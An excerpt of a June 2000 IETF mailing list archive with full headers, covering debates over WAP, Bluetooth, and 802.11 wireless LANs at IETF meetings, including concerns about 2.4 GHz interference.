> I am actually suggesting an approach that would require one more purchase:
> 
> I was at Bluetooth Congress in Europe this month (which sounds better than
> saying the Bluetooth Congress in Monte Carlo), and Bluetooth products are
> definitely gathering momentum.  
...
> This would then leave the 2.4 GHz band for Bluetooth, and allow both
> Bluetooth and 802.11 to be simultaneously active from the same laptop.  I
> think most LANs will be wireless in a couple years simply for the
> convenience of avoiding cabling (even for desktop computers), and that
> people will want to sync up with their Palm Pilots and their cellphones

Palm syncs with laptops fine over IR now.

Joe



From owner-ietf-outbound  Thu Jun 29 12:30:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA13815
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 12:30:03 -0400 (EDT)
Received: from atkielski.com (atkielski.com [161.58.232.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA13760
	for <ietf@ietf.org>; Thu, 29 Jun 2000 12:29:28 -0400 (EDT)
Received: from AStLambert101214 (ASt-Lambert-101-2-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.8.8) id SAA19459; Thu, 29 Jun 2000 18:29:17 +0200 (CEST)
Message-ID: <007201bfe1e7$2b9b5b80$0a00000a@abo.wanadoo.fr>
From: "Anthony Atkielski" <anthony@atkielski.com>
To: <ietf@ietf.org>
References: <1075.962262602@cs.ucl.ac.uk>
Subject: Re: WAP - What A Problem...
Date: Thu, 29 Jun 2000 18:29:15 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

I don't understand why so much effort is expended on things like WAP when
99% of the real world still doesn't have any access at all to the Internet,
much less wireless access.  And even of those who do, most have such slow
connections that even download a simple test page is an ordeal.

I know it's not very sexy to drop the blue-sky toys, but doesn't anyone ever
work on improving and democratizing existing infrastructure instead of
widening the gap between what people really have and what looks cool in the
lab?

  -- Anthony

----- Original Message -----
From: "Jon Crowcroft" <J.Crowcroft@cs.ucl.ac.uk>
To: "'IETF Mailing List'" <ietf@ietf.org>
Sent: Thursday, June 29, 2000 09:10
Subject: Re: WAP - What A Problem...


>
> a technical discussion worth reading is at
> http://www.osopinion.com/Opinions/MikeBanahan/MikeBanahan1.html
>
> it would seeem (as i've suspected for a while) that the community in
> charge of this development has the same problem as the guy who built
> jurassic park - they haev no discipline, or understanding of computing
> and the software/jhardware interface tradeoffs  - this is qutie a
> common problem in communications work - people come from one side of
> the tracks (either jsut software or just engineering, or ust plain
> theory) - systems architecture is hard stuff, but there is little
> point standing on the toes of giants, when its possible to stand on
> their shoulders....it both ends of the problem space, whether
> application level and devising new markup languages for restricted
> display, or low level work in customising
> protocol stacks for resource scarce environments  , there is a body of
> public work out there, and of researchers who are willing to
> cosntructively critique proposals provided they are carried out in a
> public way with optimally zero cost for access to early drafts, but
> at least low entry cost - it is also a good idea to let those wacky
> media lab types get their hands on hardware prototypes, since they
> will (as william gibson puts it) "find a street use for things" - its
> instructive to see how wavelan and its cousins have fared so well
> after being handed over to the ietf - if we'd have PCMCIA GSM and GPRS
> (and bluetooth) cards, despite battery power or other clunkiness
> problems, we might haev made less of a dogs dinner of things...(when i
> say we, i mean the interdisciplinary, apparently unstructured, but
> actually highly organised force that will fit anything to IP, and not
> vice versa)
>
> give me a level long enough and we can moev the earth - give the wrong
> end of the same level to the wrong people and they can crush a
> diamond.
>
>
> j.
>
>



From owner-ietf-outbound  Thu Jun 29 12:50:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA14355
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 12:50:02 -0400 (EDT)
Received: from web1701.mail.yahoo.com (web1701.mail.yahoo.com [128.11.23.212])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA14166
	for <ietf@ietf.org>; Thu, 29 Jun 2000 12:41:40 -0400 (EDT)
Received: (qmail 15201 invoked by uid 60001); 29 Jun 2000 16:41:37 -0000
Message-ID: <20000629164137.15200.qmail@web1701.mail.yahoo.com>
Received: from [57.250.224.246] by web1701.mail.yahoo.com; Thu, 29 Jun 2000 09:41:37 PDT
Date: Thu, 29 Jun 2000 09:41:37 -0700 (PDT)
From: Alan Simpkins <alan_simpkins@yahoo.com>
Subject: Re: WAP - What A Problem...
To: ietf@ietf.org
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Loop: ietf@ietf.org

 I would tend to disagree, working for a
communications 
company that specializes in working with
multinationals 
and dealing with the associated infrastrucures in
foriegn countries I have found that in many countries
it is not financially feasible, nor geagraphically
feasible to try to create the kind of communications
infrastructure in place that we enjoy in some of the
more industrialized countries. For some countries it
is more feasible for people to use mobile technology
than to try to put in place the fiber, and copper
necessary to allow them to communicate using some of
what might be called the more traditional methods.
WAP, and mobile technology is a necessary component to
the future of the global economy.

Regards, Alan


--- Anthony Atkielski <anthony@atkielski.com> wrote:
> I don't understand why so much effort is expended on
> things like WAP when
> 99% of the real world still doesn't have any access
> at all to the Internet,
> much less wireless access.  And even of those who
> do, most have such slow
> connections that even download a simple test page is
> an ordeal.
> 
> I know it's not very sexy to drop the blue-sky toys,
> but doesn't anyone ever
> work on improving and democratizing existing
> infrastructure instead of
> widening the gap between what people really have and
> what looks cool in the
> lab?
> 
>   -- Anthony
> 
> ----- Original Message -----
> From: "Jon Crowcroft" <J.Crowcroft@cs.ucl.ac.uk>
> To: "'IETF Mailing List'" <ietf@ietf.org>
> Sent: Thursday, June 29, 2000 09:10
> Subject: Re: WAP - What A Problem...
> 
> 
> >
> > a technical discussion worth reading is at
> >
>
http://www.osopinion.com/Opinions/MikeBanahan/MikeBanahan1.html
> >
> > it would seeem (as i've suspected for a while)
> that the community in
> > charge of this development has the same problem as
> the guy who built
> > jurassic park - they haev no discipline, or
> understanding of computing
> > and the software/jhardware interface tradeoffs  -
> this is qutie a
> > common problem in communications work - people
> come from one side of
> > the tracks (either jsut software or just
> engineering, or ust plain
> > theory) - systems architecture is hard stuff, but
> there is little
> > point standing on the toes of giants, when its
> possible to stand on
> > their shoulders....it both ends of the problem
> space, whether
> > application level and devising new markup
> languages for restricted
> > display, or low level work in customising
> > protocol stacks for resource scarce environments 
> , there is a body of
> > public work out there, and of researchers who are
> willing to
> > cosntructively critique proposals provided they
> are carried out in a
> > public way with optimally zero cost for access to
> early drafts, but
> > at least low entry cost - it is also a good idea
> to let those wacky
> > media lab types get their hands on hardware
> prototypes, since they
> > will (as william gibson puts it) "find a street
> use for things" - its
> > instructive to see how wavelan and its cousins
> have fared so well
> > after being handed over to the ietf - if we'd have
> PCMCIA GSM and GPRS
> > (and bluetooth) cards, despite battery power or
> other clunkiness
> > problems, we might haev made less of a dogs dinner
> of things...(when i
> > say we, i mean the interdisciplinary, apparently
> unstructured, but
> > actually highly organised force that will fit
> anything to IP, and not
> > vice versa)
> >
> > give me a level long enough and we can moev the
> earth - give the wrong
> > end of the same level to the wrong people and they
> can crush a
> > diamond.
> >
> >
> > j.
> >
> >
> 


__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail - Free email you can access from anywhere!
http://mail.yahoo.com/



From owner-ietf-outbound  Thu Jun 29 13:00:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA14597
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 13:00:02 -0400 (EDT)
Received: from zmamail03.zma.compaq.com (zmamail03.zma.compaq.com [161.114.64.103])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA14236
	for <ietf@ietf.org>; Thu, 29 Jun 2000 12:45:27 -0400 (EDT)
Received: by zmamail03.zma.compaq.com (Postfix, from userid 12345)
	id A7DBB4002; Thu, 29 Jun 2000 12:44:58 -0400 (EDT)
Received: from excreo-gh02.reo.cpqcorp.net (excreo-gh02.reo.cpqcorp.net [16.37.150.254])
	by zmamail03.zma.compaq.com (Postfix) with ESMTP
	id 3076A409D; Thu, 29 Jun 2000 12:44:58 -0400 (EDT)
Received: by excreo-gh02.reo.cpqcorp.net with Internet Mail Service (5.5.2650.21)
	id <N6ZRTVRH>; Thu, 29 Jun 2000 17:44:57 +0100
Message-ID: <71C4C55F198BD211B24F0000F842F15807ED9BA0@reoexc6.reo.cpqcorp.net>
From: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>
To: "'Joe Touch'" <touch@ISI.EDU>, Dan Kohn <dan@dankohn.com>
Cc: ietf@ietf.org
Subject: RE: Bluetooth
Date: Thu, 29 Jun 2000 17:44:56 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

The new Compaq iPAQ H3630 Pocket PC
(http://www.compaq.co.uk/press/releases/2000/177.asp) this will sync with
other devices thanks to the new Bluetooth jacket thats been developed. Hmm
nice Shiny !

http://www.compaq.co.uk/products/handheld/pocketpc/


-----Original Message-----
From: Joe Touch [mailto:touch@ISI.EDU]
Sent: Thursday, June 29, 2000 4:52 PM
To: Dan Kohn
Cc: Parkinson, Jonathan; ietf@ietf.org
Subject: Re: Bluetooth




Dan Kohn wrote:
> 
> I will bite regarding one issue near and dear to IETF hearts -- which is
the
> seeming need to buy yet another 802.11 card for each IETF meeting.  And
yes,
> I am actually suggesting an approach that would require one more purchase:
> 
> I was at Bluetooth Congress in Europe this month (which sounds better than
> saying the Bluetooth Congress in Monte Carlo), and Bluetooth products are
> definitely gathering momentum.  
...
> This would then leave the 2.4 GHz band for Bluetooth, and allow both
> Bluetooth and 802.11 to be simultaneously active from the same laptop.  I
> think most LANs will be wireless in a couple years simply for the
> convenience of avoiding cabling (even for desktop computers), and that
> people will want to sync up with their Palm Pilots and their cellphones

Palm syncs with laptops fine over IR now.

Joe



From owner-ietf-outbound  Thu Jun 29 13:10:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA14986
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 13:10:02 -0400 (EDT)
Received: from c017.sfo.cp.net (c017-h014.c017.sfo.cp.net [209.228.12.228])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA14427
	for <ietf@ietf.org>; Thu, 29 Jun 2000 12:52:33 -0400 (EDT)
Received: (cpmta 9423 invoked from network); 29 Jun 2000 09:52:02 -0700
Received: from Toulouse-2-130.club-internet.fr (HELO ?194.158.125.130?) (194.158.125.130)
  by smtp.cattoire.net with SMTP; 29 Jun 2000 09:52:02 -0700
X-Sent: 29 Jun 2000 16:52:02 GMT
Mime-Version: 1.0
X-Sender: Gilbert@mail.cattoire.net
Message-Id: <v04210103b5812608fe62@[194.158.125.130]>
In-Reply-To: 
 <11C39F7E0407D411AF1000D0B7475FDE4A95F6@PNTEXCH04.hq.espire.net>
References: 
 <11C39F7E0407D411AF1000D0B7475FDE4A95F6@PNTEXCH04.hq.espire.net>
Date: Thu, 29 Jun 2000 18:53:49 +0200
To: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>, ietf@ietf.org
From: Gilbert Cattoire <gilbert@cattoire.net>
Subject: RE: Bluetooth
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Loop: ietf@ietf.org

At 11:26 -0400 29/06/00, Taylor, Johnny wrote:
>Give me some back ground information and how they fit in the communication
>world! Then we can open the discussions!

How they might fit : depending on the definition of "communication world".
As far as I am concerned, toying with audio and video on wireless LAn 
technology ,
bluetooth and 802.11 are indeed worth looking at.
802.11 's been used during the last Cannes film festival by Canal + 
[now famous for having joined Seagram alongside Vivendi in a a 
controversial trio] for live audio and video transmission.
It did not work that well : interference problems were, not 
surprisingly, unavoidable.
[Question of the day : how do you set up a 802.11 compliant wireless 
Lan in a microwave oven test lab ?]

However you can be sure there will be a sudden wave of interest from 
the media industry in the near future. Is that a fit worth 
considering ? Prepare yourself for a joyous salad of standards, old 
and new,  in the industry bowl. Granted, it's a fascinating 
perspective.

The cooks will again brilliantly save the situation [going back to 
gas oven ?],  the difficulty will be more in defining the proper 
business models than in integrating the technology.
 
[ Okay : It's not supposed to be the IETF's problem, or is it ? 
That's another thread I'd love to see on this list: I believe there 
are too few "hybrid projects" on the Internet, truly bringing 
engineering and business together for the sake of evolution. Do I 
make myself clear ? That's the "new economy" I believe in, and it's 
rarely the one that gets the headlines.]

Jonathan [who started the thread], what did you mean by "new viruses"?
Any fantasies about them ?

Best to all,

Gilbert


Gilbert Cattoire

==================================
+33 (0)6 08 35 15 82
gilbert@cattoire.net
==================================



From owner-ietf-outbound  Thu Jun 29 13:20:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA15336
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 13:20:02 -0400 (EDT)
Received: from c017.sfo.cp.net (c017-h014.c017.sfo.cp.net [209.228.12.228])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA15005
	for <ietf@ietf.org>; Thu, 29 Jun 2000 13:10:33 -0400 (EDT)
Received: (cpmta 17394 invoked from network); 29 Jun 2000 10:10:04 -0700
Received: from Toulouse-2-130.club-internet.fr (HELO ?194.158.125.130?) (194.158.125.130)
  by smtp.cattoire.net with SMTP; 29 Jun 2000 10:10:04 -0700
X-Sent: 29 Jun 2000 17:10:04 GMT
Mime-Version: 1.0
X-Sender: Gilbert@mail.cattoire.net
Message-Id: <v04210105b581304766b0@[194.158.125.130]>
In-Reply-To: <007201bfe1e7$2b9b5b80$0a00000a@abo.wanadoo.fr>
References: <1075.962262602@cs.ucl.ac.uk>
 <007201bfe1e7$2b9b5b80$0a00000a@abo.wanadoo.fr>
Date: Thu, 29 Jun 2000 19:11:52 +0200
To: "Anthony Atkielski" <anthony@atkielski.com>, <ietf@ietf.org>
From: Gilbert Cattoire <gilbert@cattoire.net>
Subject: Re: WAP - What A Problem...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Loop: ietf@ietf.org

At 18:29 +0200 29/06/00, Anthony Atkielski wrote:
>I don't understand why so much effort is expended on things like WAP when
>99% of the real world still doesn't have any access at all to the Internet,
>much less wireless access.  And even of those who do, most have such slow
>connections that even download a simple test page is an ordeal.

Refreshing...


>
>I know it's not very sexy to drop the blue-sky toys, but doesn't anyone ever
>work on improving and democratizing existing infrastructure instead of
>widening the gap between what people really have and what looks cool in the
>lab?

Yes indeed. It would be interesting to know how many of us on this 
list agree with you.

Yet again, as I just mentioned in an earlier post, isn't it a matter 
regarding business models rather than technology?
What looks cool in the lab is quite often related to what is dear to 
investors'eyes.
WAP is just such a thing, regardless of technical niceties : a closed 
proprietary system built for a closed business model blessed with 
himalayan piles of cash.
Is it healthy ? With the Internet spirit in mind, does anyone need to 
dwell in the intricacies of gateways and so on to answer this 
question ? I would suggest this daring task : when in doubt, reboot 
your mindset.

best to all,




Gilbert Cattoire

==================================
+33 (0)6 08 35 15 82
gilbert@cattoire.net
==================================



From owner-ietf-outbound  Thu Jun 29 13:30:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA15570
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 13:30:02 -0400 (EDT)
Received: from localhost.localdomain ([216.52.68.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA15385
	for <ietf@ietf.org>; Thu, 29 Jun 2000 13:21:54 -0400 (EDT)
Received: from ecal.com (localhost [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id NAA13415
	for <ietf@ietf.org>; Thu, 29 Jun 2000 13:21:45 -0400
Sender: francis@localhost.localdomain
Message-ID: <395B85A9.5FC5B451@ecal.com>
Date: Thu, 29 Jun 2000 13:21:45 -0400
From: John Stracke <francis@ecal.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: WAP - What A Problem...
References: <1075.962262602@cs.ucl.ac.uk> <007201bfe1e7$2b9b5b80$0a00000a@abo.wanadoo.fr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Anthony Atkielski wrote:

> I know it's not very sexy to drop the blue-sky toys, but doesn't anyone ever
> work on improving and democratizing existing infrastructure

Well, sure.  Improving--look at MPLS.  Democratizing--there used to be (maybe
still is) an annual effort called Net Day, where volunteers would come out to
schools and install LANs and stuff.  But that's not something that's going to
be technically controversial, since what gets donated is almost always
commodity equipment--both because it's cheap and because it means the schools
will have an easier time maintaining it.

--
/===============================================================\
|John Stracke    | http://www.ecal.com |My opinions are my own. |
|Chief Scientist |==============================================|
|eCal Corp.      |"Why did you become a spokesmodel?" "Oh, well,|
|francis@ecal.com|I've always liked pointing." -- _LA Story_    |
\===============================================================/





From owner-ietf-outbound  Thu Jun 29 13:40:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA15842
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 13:40:03 -0400 (EDT)
Received: from inner.net (avarice.inner.net [199.33.248.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA15461
	for <ietf@ietf.org>; Thu, 29 Jun 2000 13:26:02 -0400 (EDT)
Received: from mosquito ([216.52.8.30])
	by inner.net (8.7.6/8.9.3) with ESMTP id RAA21039;
	Thu, 29 Jun 2000 17:16:15 GMT
Message-Id: <4.2.0.58.20000629131733.009713f0@avarice.inner.net>
X-Sender: rja@avarice.inner.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 29 Jun 2000 13:22:32 -0400
To: Dan Kohn <dan@dankohn.com>
From: RJ Atkinson <rja@inet.org>
Subject: RE: IETF Wireless LAN history
Cc: ietf@ietf.org
In-Reply-To: <25D0C66E6D25D311B2AC0008C7913EE0DE8A81@tdmail2.teledesic.c
 om>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 09:54 29/06/00 , Dan Kohn wrote:
>I will bite regarding one issue near and dear to IETF hearts -- which is the
>seeming need to buy yet another 802.11 card for each IETF meeting.  And yes,
>I am actually suggesting an approach that would require one more purchase:

         Actually, IETF has made IEEE 802.11-DSSS the convention for wireless
LANs at all IETF meetings for some time now.  This has been supported 
at least at Oslo, DC, Adelaide, (and will be at Pittsburgh).  It probably 
has been  supported for some significant time before Oslo, though I 
don't have first-hand remembrance of that.  In DC, Nortel was pushing 
their 802.11-FH system, but a full 802.11-DS system was up and running 
in parallel.

         Probably due to overlap in organisational membership and the 
broad International acceptance of IEEE 802 standards, IEEE 802.11-DSSS 
has also become the de facto standard for use at several other 
networking meetings (e.g. NANOG, RIPE).

Ran
rja@inet.org



From owner-ietf-outbound  Thu Jun 29 13:50:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA16119
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 13:50:02 -0400 (EDT)
Received: from localhost.localdomain ([216.52.68.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA15482
	for <ietf@ietf.org>; Thu, 29 Jun 2000 13:27:09 -0400 (EDT)
Received: from ecal.com (localhost [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id NAA13440
	for <ietf@ietf.org>; Thu, 29 Jun 2000 13:27:16 -0400
Sender: francis@localhost.localdomain
Message-ID: <395B86F4.C78988F5@ecal.com>
Date: Thu, 29 Jun 2000 13:27:16 -0400
From: John Stracke <francis@ecal.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: WAP - What A Problem...
References: <20000629164137.15200.qmail@web1701.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Alan Simpkins wrote:

> For some countries it
> is more feasible for people to use mobile technology

But better still is fixed-wireless, which can deliver bandwidth
more cheaply, because you have more predictable signal
conditions.  Unless you're talking about nomadic headers getting
online out in the Sahara--in which case, development money would
be better spent on, say, reforestation.

--
/=================================================================\
|John Stracke    | http://www.ecal.com |My opinions are my own.   |
|Chief Scientist |================================================|
|eCal Corp.      |"How quietly do you think we can nail these back|
|francis@ecal.com|in?" --Calvin                                   |
\=================================================================/





From owner-ietf-outbound  Thu Jun 29 14:10:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA16428
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 14:10:03 -0400 (EDT)
Received: from web1701.mail.yahoo.com (web1701.mail.yahoo.com [128.11.23.212])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA16340
	for <ietf@ietf.org>; Thu, 29 Jun 2000 14:04:05 -0400 (EDT)
Received: (qmail 4111 invoked by uid 60001); 29 Jun 2000 18:04:06 -0000
Message-ID: <20000629180406.4110.qmail@web1701.mail.yahoo.com>
Received: from [57.250.224.246] by web1701.mail.yahoo.com; Thu, 29 Jun 2000 11:04:06 PDT
Date: Thu, 29 Jun 2000 11:04:06 -0700 (PDT)
From: Alan Simpkins <alan_simpkins@yahoo.com>
Subject: Re: WAP - What A Problem...
To: ietf@ietf.org
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Loop: ietf@ietf.org

This I can agree with, the next question that
naturally follows then is is WAP the right protocol
for a fixed wireless application, or are we talking
about yet another set of standards and protocols. I
would tend to 
think that one set should work for both.

Regards, Alan
--- John Stracke <francis@ecal.com> wrote:
> Alan Simpkins wrote:
> 
> > For some countries it
> > is more feasible for people to use mobile
> technology
> 
> But better still is fixed-wireless, which can
> deliver bandwidth
> more cheaply, because you have more predictable
> signal
> conditions.  Unless you're talking about nomadic
> headers getting
> online out in the Sahara--in which case, development
> money would
> be better spent on, say, reforestation.
> 
> --
>
/=================================================================\
> |John Stracke    | http://www.ecal.com |My opinions
> are my own.   |
> |Chief Scientist
> |================================================|
> |eCal Corp.      |"How quietly do you think we can
> nail these back|
> |francis@ecal.com|in?" --Calvin                     
>              |
>
\=================================================================/
> 
> 
> 


__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail - Free email you can access from anywhere!
http://mail.yahoo.com/



From owner-ietf-outbound  Thu Jun 29 14:20:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA16794
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 14:20:03 -0400 (EDT)
Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA16375
	for <ietf@ietf.org>; Thu, 29 Jun 2000 14:07:30 -0400 (EDT)
Received: from 157.54.9.104 by mail2.microsoft.com (InterScan E-Mail VirusWall NT); Thu, 29 Jun 2000 11:05:57 -0700 (Pacific Daylight Time)
Received: by INET-IMC-02 with Internet Mail Service (5.5.2651.58)
	id <NY5055PJ>; Thu, 29 Jun 2000 11:01:00 -0700
Message-ID: <2E3FA0558747934A8F753CC533A3F6DF01FF57CD@red-msg-24.redmond.corp.microsoft.com>
From: Christian Huitema <huitema@microsoft.com>
To: "'RJ Atkinson'" <rja@inet.org>, Dan Kohn <dan@dankohn.com>
Cc: ietf@ietf.org
Subject: RE: IETF Wireless LAN history
Date: Thu, 29 Jun 2000 10:59:24 -0700
X-Mailer: Internet Mail Service (5.5.2651.58)
X-Loop: ietf@ietf.org

OK, we have come to use and like the 802.11 nets at the IETF meeting. What
will happen if many attendees also turn up BlueTooth devices? AFAIK, they
operate on the same frequency band, and the BT devices emit enough noise to
seriously hamper 802.11 operation!

Christian Huitema



From owner-ietf-outbound  Thu Jun 29 14:30:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA16985
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 14:30:03 -0400 (EDT)
Received: from rip.psg.com (rip.psg.com [147.28.0.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16868
	for <ietf@ietf.org>; Thu, 29 Jun 2000 14:22:41 -0400 (EDT)
Received: from randy by rip.psg.com with local (Exim 3.13 #1)
	id 137ixW-000I4V-00; Thu, 29 Jun 2000 11:22:42 -0700
From: Randy Bush <randy@psg.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Christian Huitema <huitema@microsoft.com>
Cc: ietf@ietf.org
Subject: RE: IETF Wireless LAN history
References: <2E3FA0558747934A8F753CC533A3F6DF01FF57CD@red-msg-24.redmond.corp.microsoft.com>
Message-Id: <E137ixW-000I4V-00@rip.psg.com>
Date: Thu, 29 Jun 2000 11:22:42 -0700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> OK, we have come to use and like the 802.11 nets at the IETF meeting. What
> will happen if many attendees also turn up BlueTooth devices? AFAIK, they
> operate on the same frequency band, and the BT devices emit enough noise
> to seriously hamper 802.11 operation!

simple, we take them out and have them shot for attacking critical network
infrastructure



From owner-ietf-outbound  Thu Jun 29 14:40:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA17286
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 14:40:02 -0400 (EDT)
Received: from perq.cac.washington.edu (perq.cac.washington.edu [140.142.110.198])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17117
	for <ietf@ietf.org>; Thu, 29 Jun 2000 14:34:18 -0400 (EDT)
Received: from localhost (rlmorgan@localhost)
	by perq.cac.washington.edu (8.9.3/8.9.3) with ESMTP id LAA02811;
	Thu, 29 Jun 2000 11:34:35 -0700
X-Authentication-Warning: perq.cac.washington.edu: rlmorgan owned process doing -bs
Date: Thu, 29 Jun 2000 11:34:35 -0700 (PDT)
From: "RL 'Bob' Morgan" <rlmorgan@washington.edu>
X-Sender: rlmorgan@perq.cac.washington.edu
Reply-To: "RL 'Bob' Morgan" <rlmorgan@washington.edu>
To: Christian Huitema <huitema@microsoft.com>
cc: ietf@ietf.org
Subject: RE: IETF Wireless LAN history
In-Reply-To: <2E3FA0558747934A8F753CC533A3F6DF01FF57CD@red-msg-24.redmond.corp.microsoft.com>
Message-ID: <Pine.LNX.4.21.0006291128312.2760-100000@perq.cac.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org


> OK, we have come to use and like the 802.11 nets at the IETF meeting.
> What will happen if many attendees also turn up BlueTooth devices?
> AFAIK, they operate on the same frequency band, and the BT devices
> emit enough noise to seriously hamper 802.11 operation!

Right, that was why Dan brought this up.  It is said that a likely
approach if/when Bluetooth starts to proliferate is for all 802.11 sites
currently using 2.4Ghz to migrate to 5Ghz; hence yet more card purchases
for IETF attendees at some point.  I've heard of corporate installations
where access point locations were designed with 5Ghz diameters in mind
even though 2.4Ghz is being installed today.  The idea that Bluetooth and
2.4Ghz 802.11 be designed to coexist seems to be getting less attention
for some reason.

 - RL "Bob"




From owner-ietf-outbound  Thu Jun 29 14:50:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA17542
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 14:50:03 -0400 (EDT)
Received: from adk.gr (COREDUMP.CIS.UPENN.EDU [158.130.6.141])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17148
	for <ietf@ietf.org>; Thu, 29 Jun 2000 14:35:32 -0400 (EDT)
Received: from dsl.cis.upenn.edu (localhost [127.0.0.1])
	by adk.gr (8.10.1/8.9.3) with ESMTP id e5TIY4a09514;
	Thu, 29 Jun 2000 14:34:04 -0400 (EDT)
Message-Id: <200006291834.e5TIY4a09514@adk.gr>
X-Mailer: exmh version 2.0.2 2/24/98
To: Christian Huitema <huitema@microsoft.com>
Cc: "'RJ Atkinson'" <rja@inet.org>, Dan Kohn <dan@dankohn.com>, ietf@ietf.org
Subject: Re: IETF Wireless LAN history 
In-reply-to: Your message of "Thu, 29 Jun 2000 10:59:24 PDT."
             <2E3FA0558747934A8F753CC533A3F6DF01FF57CD@red-msg-24.redmond.corp.microsoft.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 29 Jun 2000 14:34:04 -0400
From: "Angelos D. Keromytis" <angelos@dsl.cis.upenn.edu>
X-Loop: ietf@ietf.org


In message <2E3FA0558747934A8F753CC533A3F6DF01FF57CD@red-msg-24.redmond.corp.mi
crosoft.com>, Christian Huitema writes:
>OK, we have come to use and like the 802.11 nets at the IETF meeting. What
>will happen if many attendees also turn up BlueTooth devices? AFAIK, they
>operate on the same frequency band, and the BT devices emit enough noise to
>seriously hamper 802.11 operation!

BT has a very, very short range, so (supposedly) it shouldn't hurt anyone's
wavelan performance (that's the theory anyhow).
-Angelos





From owner-ietf-outbound  Thu Jun 29 15:00:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA17758
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 15:00:04 -0400 (EDT)
Received: from tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA17165
	for <ietf@ietf.org>; Thu, 29 Jun 2000 14:36:32 -0400 (EDT)
Received: by tsx-prime.MIT.EDU 
	with sendmail-SMI-8.6/1.2, id OAA06172; Thu, 29 Jun 2000 14:36:15 -0400
Date: Thu, 29 Jun 2000 14:36:15 -0400
Message-Id: <200006291836.OAA06172@tsx-prime.MIT.EDU>
From: "Theodore Y. Ts'o" <tytso@MIT.EDU>
